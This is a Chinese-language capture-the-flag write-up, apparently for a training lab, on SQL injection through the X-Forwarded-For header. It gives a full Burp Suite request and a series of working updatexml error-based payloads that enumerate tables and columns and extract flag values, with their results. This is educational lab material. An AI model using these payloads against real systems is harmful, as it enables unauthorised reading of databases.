Head 注入 - X-Forwarded-For 注入 (XFF)
目录
Head 注入 - X-Forwarded-For 注入 (XFF)
注意
- burpsuite http 文件有自己的格式, HEAD 信息之间 不能有 空格。
X-Forwarded-For
单词不要写错。X-Forwarded-For
在直接请求时,burpsuite 抓包中没有。 因此需要手工传入。- 在每一步都需要仔细认真,切忌焦躁、贪多 ,事情往往就在最后一步事情平常心而导致失败。
使用 burpsuite
POST /Pass-09/index.php HTTP/1.1
Host: inject2.lab.aqlab.cn:81
Content-Length: 30
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://inject2.lab.aqlab.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://inject2.lab.aqlab.cn:81/Pass-09/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
X-Forwarded-For: 192.168.1.11', updatexml(1,concat(0x7e,database(),0x7e),1) ) -- gg
username=admin&password=123456
查询 FLAG
1. 确认 XFF 可用
X-Forwarded-For: 192.168.1.11', updatexml(1,concat(0x7e,database(),0x7e),1) ) -- gg
2. 查询表名
select group_concat(table_name) from information_schema.tables where table_schema=database()
X-Forwarded-For: 192.168.1.11', updatexml(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()) ,0x7e),1) ) -- gg
> result: flag_head,ip,refer,uagent,user
3. 查询字段名
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag_head'
X-Forwarded-For: 192.168.1.11', updatexml(1,concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag_head' ) ,0x7e),1) ) -- gg
> result: Id,flag_h1
4. 查询数据
select group_concat(flag_h1) from flag_head
X-Forwarded-For: 192.168.1.11', updatexml(1,concat(0x7e, (select group_concat(flag_h1) from flag_head ) ,0x7e),1) ) -- gg
> result: zKaQ-YourHd,zKaQ-Refer,zKaQ-ipi
5. updatexml 长度显示异常
本以为结果 OK 了, 结果提交不了。
自己分析上一次的返回截图, 发现其实返回结果并不全。
正常的应该是 xx~
结尾, 但此处不是
于是,直接查询字段, 使用 limit 限制返回结果数量。
select flag_h1 from flag_head limit 2,1
X-Forwarded-For: 192.168.1.11', updatexml(1,concat(0x7e, (select flag_h1 from flag_head limit 2,1) ,0x7e),1) ) -- gg
result: XPATH syntax error: ‘~zKaQ-ipip~’
0xGG
